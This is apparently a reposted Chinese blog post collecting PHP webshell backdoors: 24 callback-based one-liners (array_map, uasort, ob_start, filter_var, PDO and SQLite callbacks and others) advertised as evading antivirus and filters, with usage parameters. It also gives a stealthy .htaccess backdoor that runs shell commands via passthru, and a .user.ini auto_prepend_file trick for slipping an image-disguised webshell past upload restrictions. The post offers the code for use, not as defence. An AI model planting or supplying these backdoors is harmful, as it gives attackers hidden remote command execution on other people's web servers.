PHP后門一句話-匯總


無特征PHP一句話木馬

分享些不需要動態函數、不用eval、不含敏感函數、免殺免攔截的一句話。(少部分一句話需要php5.4.8 、或sqlite/pdo/yaml/memcached擴展等)

原理:https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html

所有一句話使用方法基本都是:http:// target/shell.php?e=assert 密碼pass

01

1
2
3
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, $e);

02

1
2
3
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map($e, $arr);

03

1
2
3
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, $e);

04

1
2
3
$e = $_REQUEST[ 'e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);

05

1
2
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort( 'assert');

06

1
2
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort( 'assert');

07

1
2
3
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);

08

1
2
3
4
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);

09

1
2
3
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');

10

1
2
3
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');

11

1
mb_ereg_replace( '.*', $_REQUEST['pass'], '', 'e');

12

1
echo preg_filter('|.*|e', $_REQUEST['pass'], '');

13

1
2
3
ob_start( 'assert');
echo $_REQUEST['pass'];
ob_end_flush();

14

1
2
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);

15

1
2
3
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function($e, $_REQUEST['pass']);

16

1
filter_var($_REQUEST[ 'pass'], FILTER_CALLBACK, array('options' => 'assert'));

17

1
filter_var_array( array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));

18

1
2
3
4
5
$e = $_REQUEST[ 'e'];
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction( 'myfunc', $e, 1);
$sth = $db->prepare( "SELECT myfunc(:exec)");
$sth->execute( array(':exec' => $_REQUEST['pass']));

19

1
2
3
4
5
6
$e = $_REQUEST['e'];
$db = new SQLite3('sqlite.db3');
$db->createFunction('myfunc', $e);
$stmt = $db->prepare("SELECT myfunc(?)");
$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
$stmt->execute();

20

1
2
3
4
5
$str = urlencode($_REQUEST[ 'pass']);
$yaml = <<<EOD
greeting: !{$str} "|. |e"
EOD;
$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));

21

1
2
3
$mem = new Memcache();
$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));
$mem->connect($_REQUEST['pass'], 11211, 0);

22

1
preg_replace_callback( '/. /i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

23

1
mb_ereg_replace_callback( '. ', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

24

1
2
$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));
foreach ($iterator as $item) {echo $item;}

用.htaccess做更隱蔽的后門

#首先允許web訪問這個文件

<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>

RedirectMatch 403 .htaccess$
#.htaccess結尾的403錯誤,這里是為了增加隱蔽性

AddType application/x-httpd-php .htaccess
#給.htaccess映射php拓展

### SHELL ### <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>### KINDLE ###
#惡意的php代碼

使用方法:http://localhost/.htaccess/?c=dir

 

 

user.ini文件構成的PHP后門


那么什么是.user.ini?

這得從php.ini說起了。php.ini是php默認的配置文件,其中包括了很多php的配置,這些配置中,又分為幾種:PHP_INI_SYSTEMPHP_INI_PERDIRPHP_INI_ALLPHP_INI_USER。 在此可以查看:http://php.net/manual/zh/ini.list.php 這幾種模式有什么區別?看看官方的解釋:

enter image description here

其中就提到了,模式為PHP_INI_USER的配置項,可以在ini_set()函數中設置、注冊表中設置,再就是.user.ini中設置。 這里就提到了.user.ini,那么這是個什么配置文件?那么官方文檔在這里又解釋了:

除了主 php.ini 之外,PHP 還會在每個目錄下掃描 INI 文件,從被執行的 PHP 文件所在目錄開始一直上升到 web 根目錄($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被執行的 PHP 文件在 web 根目錄之外,則只掃描該目錄。

在 .user.ini 風格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 設置可被識別。

這里就很清楚了,.user.ini實際上就是一個可以由用戶“自定義”的php.ini,我們能夠自定義的設置是模式為“PHP_INI_PERDIR 、 PHP_INI_USER”的設置。(上面表格中沒有提到的PHP_INI_PERDIR也可以在.user.ini中設置)

實際上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通過.user.ini來設置的。

而且,和php.ini不同的是,.user.ini是一個能被動態加載的ini文件。也就是說我修改了.user.ini后,不需要重啟服務器中間件,只需要等待user_ini.cache_ttl所設置的時間(默認為300秒),即可被重新加載。

然后我們看到php.ini中的配置項,可惜我沮喪地發現,只要稍微敏感的配置項,都是PHP_INI_SYSTEM模式的(甚至是php.ini only的),包括disable_functionsextension_direnable_dl等。 不過,我們可以很容易地借助.user.ini文件來構造一個“后門”。

Php配置項中有兩個比較有意思的項(下圖第一、四個):

enter image description here

auto_append_fileauto_prepend_file,點開看看什么意思:

enter image description here

指定一個文件,自動包含在要執行的文件前,類似於在文件前調用了require()函數。而auto_append_file類似,只是在文件后面包含。 使用方法很簡單,直接寫在.user.ini中:

auto_prepend_file=01.gif

01.gif是要包含的文件。

所以,我們可以借助.user.ini輕松讓所有php文件都“自動”包含某個文件,而這個文件可以是一個正常php文件,也可以是一個包含一句話的webshell。

測試一下,我分別在IIS6.0+Fastcgi+PHP5.3和nginx+fpm+php5.3上測試。 目錄下有.user.ini,和包含webshell的01.gif,和正常php文件echo.php:

enter image description here

enter image description here

訪問echo.php即可看到后門:

enter image description here

Nginx下同樣:

enter image description here

enter image description here

那么,我們可以猥瑣地想一下,在哪些情況下可以用到這個姿勢? 比如,某網站限制不允許上傳.php文件,你便可以上傳一個.user.ini,再上傳一個圖片馬,包含起來進行getshell。不過前提是含有.user.ini的文件夾下需要有正常的php文件,否則也不能包含了。 再比如,你只是想隱藏個后門,這個方式是最方便的。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM